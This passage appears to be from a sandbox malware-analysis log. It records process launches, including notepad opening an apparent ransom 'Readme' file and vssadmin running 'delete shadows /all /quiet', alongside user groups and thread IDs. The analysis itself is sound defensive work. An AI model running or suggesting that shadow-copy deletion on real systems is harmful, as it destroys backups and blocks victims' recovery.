"C:\\WINDOWS\\system32\\notepad.exe C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000124b1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3381 os_tid = 0xf04 Thread: id = 3382 os_tid = 0xf08 Thread: id = 3386 os_tid = 0xf20 Thread: id = 3396 os_tid = 0xd54 Thread: id = 3404 os_tid = 0xe68 Thread: id = 3405 os_tid = 0xdfc Process: id = "13" image_name = "notepad.exe" filename = "c:\\windows\\syswow64\\notepad.exe" page_root = "0x3b5d3000" os_pid = "0xf10" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xd94" cmd_line = "C:\\WINDOWS\\system32\\notepad.exe C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000124b1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3384 os_tid = 0xf14 Thread: id = 3387 os_tid = 0xf24 Thread: id = 3394 os_tid = 0xd60 Thread: id = 3397 os_tid = 0xd4c Thread: id = 3398 os_tid = 0xc5c Process: id = "14" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x62367000" os_pid = "0xf18" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xd94" cmd_line = "C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000124b1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3385 os_tid = 0xf1c Thread: id = 3393 os_tid = 0xd50 Thread: id = 3399 os_tid = 0xa04 Thread: id = 3400 os_tid = 0x59c Thread: id = 3401 os_tid = 0xaf0 Process: id = "15" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x4d065000" os_pid = "0xf28" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0xf18" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000124b1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3388 os_tid = 0xf2c Thread: id = 3389 os_tid = 0xf34 Thread: id = 3390 os_tid = 0xf38 Thread: id = 3391 os_tid = 0xe74 Thread: id = 3392 os_tid = 0xd58